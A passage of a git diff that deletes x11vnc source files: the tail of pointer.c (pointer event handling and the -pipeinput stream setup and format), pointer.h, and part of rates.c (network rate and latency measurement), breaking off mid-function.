- sprintf(s, "ButtonPress-%d", i+1);
- cnt++;
- } else if (! newb && old) {
- sprintf(s, "ButtonRelease-%d", i+1);
- cnt++;
- }
- strcat(hint, s);
- }
- if (! cnt) {
- strcpy(hint, "None");
- }
- }
-
- fprintf(pipeinput_fh, "Pointer %d %d %d %d %s\n", uid, x, y,
- mask, hint);
- fflush(pipeinput_fh);
- check_pipeinput();
-}
-
-/*
- * Actual callback from libvncserver when it gets a pointer event.
- * This may queue pointer events rather than sending them immediately
- * to the X server. (see update_x11_pointer*())
- */
-void pointer_event(int mask, int x, int y, rfbClientPtr client) {
- allowed_input_t input;
- int sent = 0, buffer_it = 0;
- double now;
-
- if (threads_drop_input) {
- return;
- }
-
- if (mask >= 0) {
- got_pointer_calls++;
- }
-
- if (debug_pointer && mask >= 0) {
- static int show_motion = -1;
- static double last_pointer = 0.0;
- double tnow, dt;
- static int last_x, last_y;
- if (show_motion == -1) {
- if (getenv("X11VNC_DB_NOMOTION")) {
- show_motion = 0;
- } else {
- show_motion = 1;
- }
- }
- dtime0(&tnow);
- tnow -= x11vnc_start;
- dt = tnow - last_pointer;
- last_pointer = tnow;
- if (show_motion) {
- rfbLog("# pointer(mask: 0x%x, x:%4d, y:%4d) "
- "dx: %3d dy: %3d dt: %.4f t: %.4f\n", mask, x, y,
- x - last_x, y - last_y, dt, tnow);
- }
- last_x = x;
- last_y = y;
- }
-
- if (unixpw_in_progress) {
- return;
- }
-
- get_allowed_input(client, &input);
-
- if (rotating) {
- rotate_coords_inverse(x, y, &x, &y, -1, -1);
- }
-
- if (scaling) {
- /* map from rfb size to X11 size: */
- x = ((double) x / scaled_x) * dpy_x;
- x = nfix(x, dpy_x);
- y = ((double) y / scaled_y) * dpy_y;
- y = nfix(y, dpy_y);
- }
-
- INPUT_LOCK;
-
- if ((pipeinput_fh != NULL || pipeinput_int) && mask >= 0) {
- pipe_pointer(mask, x, y, client); /* MACOSX here. */
- if (! pipeinput_tee) {
- if (! view_only || raw_fb) { /* raw_fb hack */
- got_user_input++;
- got_pointer_input++;
- last_pointer_client = client;
- last_pointer_time = dnow();
- last_event = last_input = last_pointer_input = time(NULL);
- }
- if (input.motion) {
- /* raw_fb hack track button state */
- button_mask_prev = button_mask;
- button_mask = mask;
- }
- if (!view_only && (input.motion || input.button)) {
- last_rfb_ptr_injected = dnow();
- }
- INPUT_UNLOCK;
- return;
- }
- }
-
- if (view_only) {
- INPUT_UNLOCK;
- return;
- }
-
- now = dnow();
-
- if (mask >= 0) {
- /*
- * mask = -1 is a special case call from scan_for_updates()
- * to flush the event queue; there is no real pointer event.
- */
- if (! input.motion && ! input.button) {
- INPUT_UNLOCK;
- return;
- }
-
- got_user_input++;
- got_pointer_input++;
- last_pointer_client = client;
-
- last_pointer_time = now;
- last_rfb_ptr_injected = dnow();
-
- if (blackout_ptr && blackouts) {
- int b, ok = 1;
- /* see if it goes into the blacked out region */
- for (b=0; b < blackouts; b++) {
- if (x < blackr[b].x1 || x > blackr[b].x2) {
- continue;
- }
- if (y < blackr[b].y1 || y > blackr[b].y2) {
- continue;
- }
- /* x1 <= x <= x2 and y1 <= y <= y2 */
- ok = 0;
- break;
- }
- if (! ok) {
- if (debug_pointer) {
- rfbLog("pointer(): blackout_ptr skipping "
- "x=%d y=%d in rectangle %d,%d %d,%d\n", x, y,
- blackr[b].x1, blackr[b].y1,
- blackr[b].x2, blackr[b].y2);
- }
- INPUT_UNLOCK;
- return;
- }
- }
- }
-
- /*
- * The following is hopefully an improvement wrt response during
- * pointer user input (window drags) for the threaded case.
- * See check_user_input() for the more complicated things we do
- * in the non-threaded case.
- */
- if ((use_threads && pointer_mode != 1) || pointer_flush_delay > 0.0) {
-# define NEV 32
- /* storage for the event queue */
- static int nevents = 0;
- static int ev[NEV][3];
- int i;
- /* timer things */
- static double dt = 0.0, tmr = 0.0, maxwait = 0.4;
-
- if (pointer_flush_delay > 0.0) {
- maxwait = pointer_flush_delay;
- }
- if (mask >= 0) {
- if (fb_copy_in_progress || pointer_flush_delay > 0.0) {
- buffer_it = 1;
- }
- }
-
- POINTER_LOCK;
-
- /*
- * If the framebuffer is being copied in another thread
- * (scan_for_updates()), we will queue up to 32 pointer
- * events for later. The idea is by delaying these input
- * events, the screen is less likely to change during the
- * copying period, and so will give rise to less window
- * "tearing".
- *
- * Tearing is not completely eliminated because we do
- * not suspend work in the other libvncserver threads.
- * Maybe that is a possibility with a mutex...
- */
- if (buffer_it) {
- /*
- * mask = -1 is an all-clear signal from
- * scan_for_updates().
- *
- * dt is a timer in seconds; we only queue for so long.
- */
- dt += dtime(&tmr);
-
- if (nevents < NEV && dt < maxwait) {
- i = nevents++;
- ev[i][0] = mask;
- ev[i][1] = x;
- ev[i][2] = y;
- if (! input.button) {
- ev[i][0] = -1;
- }
- if (! input.motion) {
- ev[i][1] = -1;
- ev[i][2] = -1;
- }
- if (debug_pointer) {
- rfbLog("pointer(): deferring event %d"
- " %.4f\n", i, tmr - x11vnc_start);
- }
- POINTER_UNLOCK;
- INPUT_UNLOCK;
- return;
- }
- }
-
- /* time to send the queue */
- for (i=0; i<nevents; i++) {
- int sent = 0;
- if (mask < 0 && client != NULL) {
- /* hack to only push the latest event */
- if (i < nevents - 1) {
- if (debug_pointer) {
- rfbLog("- skip deferred event:"
- " %d\n", i);
- }
- continue;
- }
- }
- if (debug_pointer) {
- rfbLog("pointer(): sending event %d %.4f\n",
- i+1, dnowx());
- }
- if (ev[i][1] >= 0) {
- update_x11_pointer_position(ev[i][1], ev[i][2]);
- sent = 1;
- }
- if (ev[i][0] >= 0) {
- update_x11_pointer_mask(ev[i][0]);
- sent = 1;
- }
-
- if (sent) {
- pointer_queued_sent++;
- }
- }
- if (nevents && dt > maxwait) {
- if (dpy) { /* raw_fb hack */
- if (mask < 0) {
- if (debug_pointer) {
- rfbLog("pointer(): calling XFlush "
- "%.4f\n", dnowx());
- }
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- }
- }
- }
- nevents = 0; /* reset everything */
- dt = 0.0;
- dtime0(&tmr);
-
- POINTER_UNLOCK;
- }
- if (mask < 0) { /* -1 just means flush the event queue */
- if (debug_pointer) {
- rfbLog("pointer(): flush only. %.4f\n",
- dnowx());
- }
- INPUT_UNLOCK;
- return;
- }
-
- /* update the X display with the event: */
- if (input.motion) {
- update_x11_pointer_position(x, y);
- sent = 1;
- }
- if (input.button) {
- if (mask != button_mask) {
- button_change_x = cursor_x;
- button_change_y = cursor_y;
- }
- update_x11_pointer_mask(mask);
- sent = 1;
- }
-
- if (! dpy) {
- ;
- } else if (nofb && sent) {
- /*
- * nofb is for, e.g. Win2VNC, where fastest pointer
- * updates are desired.
- */
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- } else if (buffer_it) {
- if (debug_pointer) {
- rfbLog("pointer(): calling XFlush+"
- "%.4f\n", dnowx());
- }
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- }
- INPUT_UNLOCK;
-}
-
-void initialize_pipeinput(void) {
- char *p = NULL;
-
- if (pipeinput_fh != NULL) {
- rfbLog("closing pipeinput stream: %p\n", pipeinput_fh);
- pclose(pipeinput_fh);
- pipeinput_fh = NULL;
- }
-
- pipeinput_tee = 0;
- if (pipeinput_opts) {
- free(pipeinput_opts);
- pipeinput_opts = NULL;
- }
-
- if (! pipeinput_str) {
- return;
- }
-
- /* look for options: tee, reopen, ... */
- if (strstr(pipeinput_str, "UINPUT") == pipeinput_str) {
- ;
- } else {
- p = strchr(pipeinput_str, ':');
- }
- if (p != NULL) {
- char *str, *opt, *q;
- int got = 0;
- *p = '\0';
- str = strdup(pipeinput_str);
- opt = strdup(pipeinput_str);
- *p = ':';
- q = strtok(str, ",");
- while (q) {
- if (!strcmp(q, "key") || !strcmp(q, "keycodes")) {
- got = 1;
- }
- if (!strcmp(q, "reopen")) {
- got = 1;
- }
- if (!strcmp(q, "tee")) {
- pipeinput_tee = 1;
- got = 1;
- }
- q = strtok(NULL, ",");
- }
- if (got) {
- pipeinput_opts = opt;
- } else {
- free(opt);
- }
- free(str);
- p++;
- } else {
- p = pipeinput_str;
- }
-if (0) fprintf(stderr, "initialize_pipeinput: %s -- %s\n", pipeinput_str, p);
-
- if (!strcmp(p, "VID")) {
- pipeinput_int = PIPEINPUT_VID;
- return;
- } else if (strstr(p, "CONSOLE") == p) {
- int tty = 0, n;
- char dev[32];
- if (sscanf(p, "CONSOLE%d", &n) == 1) {
- tty = n;
- }
- sprintf(dev, "/dev/tty%d", tty);
- pipeinput_cons_fd = open(dev, O_WRONLY);
- if (pipeinput_cons_fd >= 0) {
- rfbLog("pipeinput: using linux console: %s\n", dev);
- if (pipeinput_cons_dev) {
- free(pipeinput_cons_dev);
- }
- pipeinput_cons_dev = strdup(dev);
- pipeinput_int = PIPEINPUT_CONSOLE;
- } else {
- rfbLog("pipeinput: could not open: %s\n", dev);
- rfbLogPerror("open");
- rfbLog("You may need to be root to open %s.\n", dev);
- rfbLog("\n");
- }
- return;
- } else if (strstr(p, "UINPUT") == p) {
- char *q = strchr(p, ':');
- if (q) {
- parse_uinput_str(q+1);
- }
- pipeinput_int = PIPEINPUT_UINPUT;
- initialize_uinput();
- return;
- } else if (strstr(p, "MACOSX") == p) {
- pipeinput_int = PIPEINPUT_MACOSX;
- return;
- } else if (strstr(p, "VNC") == p) {
- pipeinput_int = PIPEINPUT_VNC;
- return;
- }
-
- set_child_info();
- /* pipeinput */
- if (no_external_cmds || !cmd_ok("pipeinput")) {
- rfbLogEnable(1);
- rfbLog("cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", p);
- rfbLog(" exiting.\n");
- clean_up_exit(1);
- }
- rfbLog("pipeinput: starting: \"%s\"...\n", p);
- close_exec_fds();
- pipeinput_fh = popen(p, "w");
-
- if (! pipeinput_fh) {
- rfbLog("popen(\"%s\", \"w\") failed.\n", p);
- rfbLogPerror("popen");
- rfbLog("Disabling -pipeinput mode.\n");
- return;
- }
-
- fprintf(pipeinput_fh, "%s",
-"# \n"
-"# Format of the -pipeinput stream:\n"
-"# --------------------------------\n"
-"#\n"
-"# Lines like these beginning with '#' are to be ignored.\n"
-"#\n"
-"# Pointer events (mouse motion and button clicks) come in the form:\n"
-"#\n"
-"#\n"
-"# Pointer <client#> <x> <y> <mask> <hint>\n"
-"#\n"
-"#\n"
-"# The <client#> is a decimal integer uniquely identifying the client\n"
-"# that generated the event. If it is negative that means this event\n"
-"# would have been discarded since the client was viewonly.\n"
-"#\n"
-"# <x> and <y> are decimal integers reflecting the position on the screen\n"
-"# the event took place at.\n"
-"#\n"
-"# <mask> is the button mask indicating the button press state, as normal\n"
-"# 0 means no buttons pressed, 1 means button 1 is down 3 (11) means buttons\n"
-"# 1 and 2 are down, etc.\n"
-"#\n"
-"# <hint> is a string containing no spaces and may be ignored.\n"
-"# It contains some interpretation about what has happened.\n"
-"# It can be:\n"
-"#\n"
-"# None (nothing to report)\n"
-"# ButtonPress-N (this event will cause button-N to be pressed) \n"
-"# ButtonRelease-N (this event will cause button-N to be released) \n"
-"#\n"
-"# if two more more buttons change state in one event they are listed\n"
-"# separated by commas.\n"
-"#\n"
-"# One might parse a Pointer line with:\n"
-"#\n"
-"# int client, x, y, mask; char hint[100];\n"
-"# sscanf(line, \"Pointer %d %d %d %d %s\", &client, &x, &y, &mask, hint);\n"
-"#\n"
-"#\n"
-"# Keysym events (keyboard presses and releases) come in the form:\n"
-"#\n"
-"#\n"
-"# Keysym <client#> <down> <keysym#> <keysym-name> <hint>\n"
-"#\n"
-"#\n"
-"# The <client#> is as with Pointer.\n"
-"#\n"
-"# <down> is a decimal either 1 or 0 indicating KeyPress or KeyRelease,\n"
-"# respectively.\n"
-"#\n"
-"# <keysym#> is a decimal integer incidating the Keysym of the event.\n"
-"#\n"
-"# <keysym-name> is the corresponding Keysym name.\n"
-"#\n"
-"# See the file /usr/include/X11/keysymdef.h for the mappings.\n"
-"# You basically remove the leading 'XK_' prefix from the macro name in\n"
-"# that file to get the Keysym name.\n"
-"#\n"
-"# One might parse a Keysym line with:\n"
-"#\n"
-"# int client, down, keysym; char name[100], hint[100];\n"
-"# sscanf(line, \"Keysym %d %d %d %s %s\", &client, &down, &keysym, name, hint);\n"
-"#\n"
-"# The <hint> value is currently just None, KeyPress, or KeyRelease.\n"
-"#\n"
-"# In the future <hint> will provide a hint for the sequence of KeyCodes\n"
-"# (i.e. keyboard scancodes) that x11vnc would inject to an X display to\n"
-"# simulate the Keysym.\n"
-"#\n"
-"# You see, some Keysyms will require more than one injected Keycode to\n"
-"# generate the symbol. E.g. the Keysym \"ampersand\" going down usually\n"
-"# requires a Shift key going down, then the key with the \"&\" on it going\n"
-"# down, and, perhaps, the Shift key going up (that is how x11vnc does it).\n"
-"#\n"
-"# The Keysym => Keycode(s) stuff gets pretty messy. Hopefully the Keysym\n"
-"# info will be enough for most purposes (having identical keyboards on\n"
-"# both sides helps).\n"
-"#\n"
-"# Parsing example for perl:\n"
-"#\n"
-"# while (<>) {\n"
-"# chomp;\n"
-"# if (/^Pointer/) {\n"
-"# my ($p, $client, $x, $y, $mask, $hint) = split(' ', $_, 6);\n"
-"# do_pointer($client, $x, $y, $mask, $hint);\n"
-"# } elsif (/^Keysym/) {\n"
-"# my ($k, $client, $down, $keysym, $name, $hint) = split(' ', $_, 6);\n"
-"# do_keysym($client, $down, $keysym, $name, $hint);\n"
-"# }\n"
-"# }\n"
-"#\n"
-"#\n"
-"# Here comes your stream. The following token will always indicate the\n"
-"# end of this informational text:\n"
-"# END_OF_TOP\n"
-);
- fflush(pipeinput_fh);
- if (raw_fb_str) {
- /* the pipe program may actually create the fb */
- sleep(1);
- }
-}
-
-int check_pipeinput(void) {
- if (! pipeinput_fh) {
- return 1;
- }
- if (ferror(pipeinput_fh)) {
- rfbLog("pipeinput pipe has ferror. %p\n", pipeinput_fh);
-
- if (pipeinput_opts && strstr(pipeinput_opts, "reopen")) {
- rfbLog("restarting -pipeinput pipe...\n");
- initialize_pipeinput();
- if (pipeinput_fh) {
- return 1;
- } else {
- return 0;
- }
- } else {
- rfbLog("closing -pipeinput pipe...\n");
- pclose(pipeinput_fh);
- pipeinput_fh = NULL;
- return 0;
- }
- }
- return 1;
-}
-
-
diff --git a/x11vnc/pointer.h b/x11vnc/pointer.h
deleted file mode 100644
index 1fe5e0b..0000000
--- a/x11vnc/pointer.h
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_POINTER_H
-#define _X11VNC_POINTER_H
-
-/* -- pointer.h -- */
-
-extern int pointer_queued_sent;
-
-extern void initialize_pointer_map(char *pointer_remap);
-extern void do_button_mask_change(int mask, int button);
-extern void pointer_event(int mask, int x, int y, rfbClientPtr client);
-extern int check_pipeinput(void);
-extern void initialize_pipeinput(void);
-extern void update_x11_pointer_position(int x, int y);
-
-#endif /* _X11VNC_POINTER_H */
diff --git a/x11vnc/rates.c b/x11vnc/rates.c
deleted file mode 100644
index ee9ca05..0000000
--- a/x11vnc/rates.c
+++ /dev/null
@@ -1,732 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- rates.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "scan.h"
-
-int measure_speeds = 1;
-int speeds_net_rate = 0;
-int speeds_net_rate_measured = 0;
-int speeds_net_latency = 0;
-int speeds_net_latency_measured = 0;
-int speeds_read_rate = 0;
-int speeds_read_rate_measured = 0;
-
-
-int get_cmp_rate(void);
-int get_raw_rate(void);
-void initialize_speeds(void);
-int get_read_rate(void);
-int link_rate(int *latency, int *netrate);
-int get_net_rate(void);
-int get_net_latency(void);
-void measure_send_rates(int init);
-
-
-static void measure_display_hook(rfbClientPtr cl);
-static int get_rate(int which);
-static int get_latency(void);
-
-
-static void measure_display_hook(rfbClientPtr cl) {
- ClientData *cd = (ClientData *) cl->clientData;
- if (! cd) {
- return;
- }
- dtime0(&cd->timer);
-}
-
-static int get_rate(int which) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int irate, irate_min = 1; /* 1 KB/sec */
- int irate_max = 100000; /* 100 MB/sec */
- int count = 0;
- double slowest = -1.0, rate;
- static double save_rate = 1000 * NETRATE0;
-
- if (!screen) {
- return 0;
- }
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd = (ClientData *) cl->clientData;
-
- if (! cd) {
- continue;
- }
- if (cl->state != RFB_NORMAL) {
- continue;
- }
- if (cd->send_cmp_rate == 0.0 || cd->send_raw_rate == 0.0) {
- continue;
- }
- count++;
-
- if (which == 0) {
- rate = cd->send_cmp_rate;
- } else {
- rate = cd->send_raw_rate;
- }
- if (slowest == -1.0 || rate < slowest) {
- slowest = rate;
- }
-
- }
- rfbReleaseClientIterator(iter);
-
- if (! count) {
- return NETRATE0;
- }
-
- if (slowest == -1.0) {
- slowest = save_rate;
- } else {
- save_rate = slowest;
- }
-
- irate = (int) (slowest/1000.0);
- if (irate < irate_min) {
- irate = irate_min;
- }
- if (irate > irate_max) {
- irate = irate_max;
- }
-if (0) fprintf(stderr, "get_rate(%d) %d %.3f/%.3f\n", which, irate, save_rate, slowest);
-
- return irate;
-}
-
-static int get_latency(void) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int ilat, ilat_min = 1; /* 1 ms */
- int ilat_max = 2000; /* 2 sec */
- double slowest = -1.0, lat;
- static double save_lat = ((double) LATENCY0)/1000.0;
- int count = 0;
-
- if (!screen) {
- return 0;
- }
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd = (ClientData *) cl->clientData;
-
- if (! cd) {
- continue;
- }
- if (cl->state != RFB_NORMAL) {
- continue;
- }
- if (cd->latency == 0.0) {
- continue;
- }
- count++;
-
- lat = cd->latency;
- if (slowest == -1.0 || lat > slowest) {
- slowest = lat;
- }
- }
- rfbReleaseClientIterator(iter);
-
- if (! count) {
- return LATENCY0;
- }
-
- if (slowest == -1.0) {
- slowest = save_lat;
- } else {
- save_lat = slowest;
- }
-
- ilat = (int) (slowest * 1000.0);
- if (ilat < ilat_min) {
- ilat = ilat_min;
- }
- if (ilat > ilat_max) {
- ilat = ilat_max;
- }
-
- return ilat;
-}
-
-int get_cmp_rate(void) {
- return get_rate(0);
-}
-
-int get_raw_rate(void) {
- return get_rate(1);
-}
-
-void initialize_speeds(void) {
- char *s, *s_in, *p;
- int i;
-
- speeds_read_rate = 0;
- speeds_net_rate = 0;
- speeds_net_latency = 0;
- if (! speeds_str || *speeds_str == '\0') {
- s_in = strdup("");
- } else {
- s_in = strdup(speeds_str);
- }
-
- if (!strcmp(s_in, "modem")) {
- s = strdup("6,4,200");
- } else if (!strcmp(s_in, "dsl")) {
- s = strdup("6,100,50");
- } else if (!strcmp(s_in, "lan")) {
- s = strdup("6,5000,1");
- } else {
- s = strdup(s_in);
- }
-
- p = strtok(s, ",");
- i = 0;
- while (p) {
- double val;
- if (*p != '\0') {
- val = atof(p);
- if (i==0) {
- speeds_read_rate = (int) 1000000 * val;
- } else if (i==1) {
- speeds_net_rate = (int) 1000 * val;
- } else if (i==2) {
- speeds_net_latency = (int) val;
- }
- }
- i++;
- p = strtok(NULL, ",");
- }
- free(s);
- free(s_in);
-
- if (! speeds_read_rate) {
- int n = 0;
- double dt, timer;
-#ifdef MACOSX
- if (macosx_console && macosx_read_opengl && fullscreen) {
- copy_image(fullscreen, 0, 0, 0, 0);
- usleep(10 * 1000);
- }
-#endif
-
- dtime0(&timer);
- if (fullscreen) {
- copy_image(fullscreen, 0, 0, 0, 0);
- n = fullscreen->bytes_per_line * fullscreen->height;
- } else if (scanline) {
- copy_image(scanline, 0, 0, 0, 0);
- n = scanline->bytes_per_line * scanline->height;
- }
- dt = dtime(&timer);
- if (n && dt > 0.0) {
- double rate = ((double) n) / dt;
- speeds_read_rate_measured = (int) (rate/1000000.0);
- if (speeds_read_rate_measured < 1) {
- speeds_read_rate_measured = 1;
- } else {
- rfbLog("fb read rate: %d MB/sec\n",
- speeds_read_rate_measured);
- }
- }
- }
-}
-
-int get_read_rate(void) {
- if (speeds_read_rate) {
- return speeds_read_rate;
- }
- if (speeds_read_rate_measured) {
- return speeds_read_rate_measured;
- }
- return 0;
-}
-
-int link_rate(int *latency, int *netrate) {
- *latency = get_net_latency();
- *netrate = get_net_rate();
-
- if (speeds_str) {
- if (!strcmp(speeds_str, "modem")) {
- return LR_DIALUP;
- } else if (!strcmp(speeds_str, "dsl")) {
- return LR_BROADBAND;
- } else if (!strcmp(speeds_str, "lan")) {
- return LR_LAN;
- }
- }
-
- if (*latency == LATENCY0 && *netrate == NETRATE0) {
- return LR_UNSET;
- } else if (*latency > 150 || *netrate < 20) {
- return LR_DIALUP;
- } else if (*latency > 50 || *netrate < 150) {
- return LR_BROADBAND;
- } else if (*latency < 10 && *netrate > 300) {
- return LR_LAN;
- } else {
- return LR_UNKNOWN;
- }
-}
-
-int get_net_rate(void) {
- int spm = speeds_net_rate_measured;
- if (speeds_net_rate) {
- return speeds_net_rate;
- }
- if (! spm || spm == NETRATE0) {
- speeds_net_rate_measured = get_cmp_rate();
- }
- if (speeds_net_rate_measured) {
- return speeds_net_rate_measured;
- }
- return 0;
-}
-
-int get_net_latency(void) {
- int spm = speeds_net_latency_measured;
- if (speeds_net_latency) {
- return speeds_net_latency;
- }
- if (! spm || spm == LATENCY0) {
- speeds_net_latency_measured = get_latency();
- }
- if (speeds_net_latency_measured) {
- return speeds_net_latency_measured;
- }
- return 0;
-}
-
-void measure_send_rates(int init) {
- double cmp_rate, raw_rate;
- static double now, start = 0.0;
- static rfbDisplayHookPtr orig_display_hook = NULL;
- double cmp_max = 1.0e+08; /* 100 MB/sec */
- double cmp_min = 1000.0; /* 9600baud */
- double lat_max = 5.0; /* 5 sec */
- double lat_min = .0005; /* 0.5 ms */
- int min_cmp = 10000, nclients;
- rfbClientIteratorPtr iter;
- rfbClientPtr cl0, cl;
- int msg = 0, clcnt0 = 0, cc;
- int db = 0, ouch_db = 0, ouch = 0;
-
- if (! measure_speeds) {
- return;
- }
- if (speeds_net_rate && speeds_net_latency) {
- return;
- }
- if (!client_count) {
- return;
- }
-
- if (! orig_display_hook) {
- orig_display_hook = screen->displayHook;
- }
-
- if (start == 0.0) {
- dtime(&start);
- }
-
- dtime0(&now);
- if (now < last_client_gone+4.0) {
- return;
- }
- now = now - start;
-
- nclients = 0;
-
- if (!screen) {
- return;
- }
-
- cl0 = NULL;
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd = (ClientData *) cl->clientData;
-
- if (! cd) {
- continue;
- }
- if (cd->send_cmp_rate > 0.0) {
- continue;
- }
- if (cl->onHold) {
- continue;
- }
- nclients++;
- if (cl0 == NULL) {
- cl0 = cl;
- }
- }
- rfbReleaseClientIterator(iter);
-
- cl = cl0;
- cc = 0;
-
- while (cl != NULL && cc++ == 0) {
- int defer, i, cbs, rbs;
- char *httpdir;
- double dt, dt1 = 0.0, dt2, dt3;
- double tm, spin_max = 15.0, spin_lat_max = 1.5;
- int got_t2 = 0, got_t3 = 0;
- ClientData *cd = (ClientData *) cl->clientData;
-
-#if 0
- for (i=0; i<MAX_ENCODINGS; i++) {
- cbs += cl->bytesSent[i];
- }
- rbs = cl->rawBytesEquivalent;
-#else
-#if LIBVNCSERVER_HAS_STATS
- cbs = rfbStatGetSentBytes(cl);
- rbs = rfbStatGetSentBytesIfRaw(cl);
-#endif
-#endif
-
- if (init) {
-
-if (db) fprintf(stderr, "%d client num rects req: %d mod: %d cbs: %d "
- "rbs: %d dt1: %.3f t: %.3f\n", init,
- (int) sraRgnCountRects(cl->requestedRegion),
- (int) sraRgnCountRects(cl->modifiedRegion), cbs, rbs, dt1, now);
-
- cd->timer = dnow();
- cd->cmp_bytes_sent = cbs;
- cd->raw_bytes_sent = rbs;
- continue;
- }
-
- /* first part of the bulk transfer of initial screen */
- dt1 = dtime(&cd->timer);
-
-if (db) fprintf(stderr, "%d client num rects req: %d mod: %d cbs: %d "
- "rbs: %d dt1: %.3f t: %.3f\n", init,
- (int) sraRgnCountRects(cl->requestedRegion),
- (int) sraRgnCountRects(cl->modifiedRegion), cbs, rbs, dt1, now);
-
- if (dt1 <= 0.0) {
- continue;
- }
-
- cbs = cbs - cd->cmp_bytes_sent;
- rbs = rbs - cd->raw_bytes_sent;
-
- if (cbs < min_cmp) {
- continue;
- }
-
- if (ouch_db) fprintf(stderr, "START-OUCH: %d\n", client_count);
- clcnt0 = client_count;
-#define OUCH ( ouch || (ouch = (!client_count || client_count != clcnt0 || dnow() < last_client_gone+4.0)) )
-
- rfbPE(1000);
- if (OUCH && ouch_db) fprintf(stderr, "***OUCH-A\n");
- if (OUCH) continue;
-
- if (use_threads) LOCK(cl->updateMutex);
-
- if (sraRgnCountRects(cl->modifiedRegion)) {
- rfbPE(1000);
- if (OUCH && ouch_db) fprintf(stderr, "***OUCH-B\n");
- if (use_threads) UNLOCK(cl->updateMutex);
- if (OUCH) continue;
- }
-
- if (use_threads) UNLOCK(cl->updateMutex);
-
- defer = screen->deferUpdateTime;
- httpdir = screen->httpDir;
- screen->deferUpdateTime = 0;
- screen->httpDir = NULL;
-
- /* mark a small rectangle: */
- mark_rect_as_modified(0, 0, 16, 16, 1);
-
- dtime0(&tm);
-
- dt2 = 0.0;
- dt3 = 0.0;
-
- if (dt1 < 0.25) {
- /* try to cut it down to avoid long pauses. */
- spin_max = 5.0;
- }
-
- /* when req1 = 1 mod1 == 0, end of 2nd part of bulk transfer */
- while (1) {
- int req0, req1, mod0, mod1;
-
- if (OUCH && ouch_db) fprintf(stderr, "***OUCH-C1\n");
- if (OUCH) break;
-
- if (use_threads) LOCK(cl->updateMutex);
-
- req0 = sraRgnCountRects(cl->requestedRegion);
- mod0 = sraRgnCountRects(cl->modifiedRegion);
-
- if (use_threads) UNLOCK(cl->updateMutex);
-
- if (use_threads) {
- usleep(1000);
- } else {
- if (mod0) {
- rfbPE(1000);
- } else {
- rfbCFD(1000);
- }
- }
- dt = dtime(&tm);
- dt2 += dt;
- if (dt2 > spin_max) {
- break;
- }
-
- if (OUCH && ouch_db) fprintf(stderr, "***OUCH-C2\n");
- if (OUCH) break;
-
- if (use_threads) LOCK(cl->updateMutex);
-
- req1 = sraRgnCountRects(cl->requestedRegion);
- mod1 = sraRgnCountRects(cl->modifiedRegion);
-
- if (use_threads) UNLOCK(cl->updateMutex);
-
-if (db) fprintf(stderr, "dt2 calc: num rects req: %d/%d mod: %d/%d "
- "fbu-sent: %d dt: %.4f dt2: %.4f tm: %.4f\n",
- req0, req1, mod0, mod1,
-#if 0
- cl->framebufferUpdateMessagesSent,
-#else
-#if LIBVNCSERVER_HAS_STATS
- rfbStatGetMessageCountSent(cl, rfbFramebufferUpdate),
-#endif
-#endif
- dt, dt2, tm);
- if (req1 != 0 && mod1 == 0) {
- got_t2 = 1;
- break;
- }
- }
- if (OUCH && ouch_db) fprintf(stderr, "***OUCH-D\n");
- if (OUCH) goto ouch;
-
- if (! got_t2) {
- dt2 = 0.0;
- } else {
- int tr, trm = 3;
- double dts[10];
-
- /*
- * Note: since often select(2) cannot sleep
- * less than 1/HZ (e.g. 10ms), the resolution
- * of the latency may be messed up by something
- * of this order. Effect may occur on both ends,
- * i.e. the viewer may not respond immediately.
- */
-
- for (tr = 0; tr < trm; tr++) {
- usleep(5000);
-
- /* mark a 2nd small rectangle: */
- mark_rect_as_modified(0, 0, 16, 16, 1);
- i = 0;
